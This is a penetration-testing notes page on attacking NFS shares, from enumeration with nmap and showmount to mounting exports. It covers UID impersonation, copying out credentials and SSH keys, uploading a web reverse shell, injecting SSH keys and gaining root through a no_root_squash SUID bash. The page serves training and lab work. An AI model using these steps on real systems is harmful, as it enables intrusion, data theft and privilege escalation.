> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/enumeration/nfs.md).

# NFS

NFS (Network File System) allows remote hosts to mount file systems over a network. Poorly configured NFS services may allow attackers to mount shares and access or manipulate sensitive files without authentication.

***

### Default NFS Ports

| Port | Description                                 |
| ---- | ------------------------------------------- |
| 111  | RPC Portmapper                              |
| 2049 | NFS Service                                 |
| 4045 | NFS Lock Manager                            |
| 1110 | Often used by `rpc.statd` or other services |

***

### Banner Grabbing

Check if ports are open and accessible using tools like:

```bash
nc -v <ip> 2049
telnet <ip> 111
```

You may also use `rpcinfo` to check NFS-related services:

```bash
rpcinfo -p <ip>
```

***

### Nmap Scanning

Use relevant NSE scripts to enumerate NFS:

```bash
nmap -p 111,2049 -sT -sV -sC --script=nfs-ls,nfs-statfs,nfs-showmount <ip>
```

Individual script usage:

* **nfs-ls.nse**: Lists contents of NFS exports
* **nfs-showmount.nse**: Shows NFS export list
* **nfs-statfs.nse**: Displays stats about exported filesystems (e.g., total size, free space)

***

### Show Available NFS Exports

```bash
showmount -e <ip>
```

You’ll see output like:

```
Export list for <ip>:
/home  *
/data  10.10.14.0/24
```

> The `*` means open to all clients.

***

### Mounting NFS Shares

#### Mount Share Locally

```bash
sudo mount -t nfs <ip>:/<share> /mnt -o nolock
```

To force use of NFS v2:

```bash
sudo mount -t nfs -o vers=2,nolock <ip>:/<share> /mnt
```

> `nolock` is used to disable file locking, which avoids RPC lockd issues when mount is performed by unprivileged users or in CTF labs.

***

### Post-Mount Enumeration

#### Check File Access

Once mounted to `/mnt`, check:

```bash
ls -la /mnt
```

* If files are readable: exfiltrate configs, credentials, or SSH keys
* If writable: attempt file uploads (e.g., reverse shell)

***

#### Check Ownership (UID/GID)

If access is restricted even as `root`, check the directory's owner:

```bash
ls -n /mnt
```

Take note of the UID/GID. Then create a local user to match:

```bash
sudo adduser --uid <UID> <username>
```

Then remount or `su` to that user to gain write access.

***

### Potential Exploitation Techniques

#### Upload Reverse Shell

If NFS share is mapped to a web root and is writable:

* Upload a reverse shell (e.g., `php-reverse-shell.php`)
* Trigger it in the browser:

  ```
  http://<ip>/php-reverse-shell.php
  ```

#### SSH Key Injection

If `.ssh/` is accessible in a user's home directory:

1. Mount the share
2. Place your public key in `authorized_keys`
3. SSH in:

   ```bash
   ssh -i id_rsa user@<target>
   ```

***

### Privilege Escalation via `no_root_squash`

**no\_root\_squash** is a harmful export option that allows a client’s `root` user to retain root privileges on the NFS server.

If `/etc/exports` (on target) is readable:

```
/home *(rw,sync,no_root_squash)
```

> This permits privilege escalation via SUID binaries.

#### Exploitation Steps

* **Mount the Exported Share:**

  ```bash
  sudo mount -t nfs <target-ip>:/home /mnt -o nolock
  ```
* **Copy a Root-Owned Binary (e.g., bash):**

  ```bash
  sudo cp /usr/bin/bash /mnt/
  ```
* **Set SUID and Ownership:**

  ```bash
  sudo chown root:root /mnt/bash
  sudo chmod +s /mnt/bash
  ```
* **SSH to the Target**

  ```bash
  ssh user@<target-ip>
  ```
* **Spawn a Root Shell:**

  ```bash
  ./bash -p
  ```

> `-p` preserves SUID privileges, giving a root shell.